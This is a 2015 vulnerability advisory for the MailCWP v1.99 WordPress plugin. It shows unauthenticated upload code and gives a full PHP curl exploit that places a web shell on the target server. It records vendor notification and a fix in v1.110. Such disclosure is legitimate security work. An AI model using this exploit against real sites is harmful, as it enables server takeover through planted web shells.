Title: Remote file upload vulnerability in mailcwp v1.99 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-09
Download Site: https://wordpress.org/plugins/mailcwp/
Vendor: CadreWorks Pty Ltd
Vendor Notified: 2015-07-09 fixed in v1.110
Vendor Contact: Contact Page via WP site
Description: MailCWP, Mail Client for WordPress. A full-featured mail client plugin providing webmail access through your WordPress blog or website.
Vulnerability:
The code in mailcwp-upload.php  doesn't check that a user is authenticated or what type of file is being uploaded any user can upload a shell to the target wordpress server:

  2 $message_id = $_REQUEST["message_id"];
  3 $upload_dir = $_REQUEST["upload_dir"];
.
.
  8 $fileName = $_FILES["file"]["name"];
  9 move_uploaded_file($_FILES["file"]["tmp_name"], "$upload_dir/$message_id-$fileName");

Exploitation requires the attacker to guess a writeable location in the http server root.

CVEID:
OSVDB:
Exploit Code:
  • <?php
  • /*Larry W. Cashdollar @_larry0
  • Exploit for mailcwp v1.99 shell will be called 1-shell.php.
  • 7/9/2015
  • */
  •         $target_url = 'http://www.example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1&upload_dir=/usr/share/wordpress/wp-content/uploads';
  •         $file_name_with_full_path = '/var/www/shell.php';
  •  
  •         echo "POST to $target_url $file_name_with_full_path";
  •         $post = array('file' => 'shell.php','file'=>'@'.$file_name_with_full_path);
  •  
  •         $ch = curl_init();
  •         curl_setopt($ch, CURLOPT_URL,$target_url);
  •         curl_setopt($ch, CURLOPT_POST,1);
  •         curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  •         curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  •         $result=curl_exec ($ch);
  •         curl_close ($ch);
  •         echo "<hr>";
  •         echo $result;
  •         echo "<hr>";
  • ?>
  •  
Advisory: http://www.vapid.dhs.org/advisory.php?v=138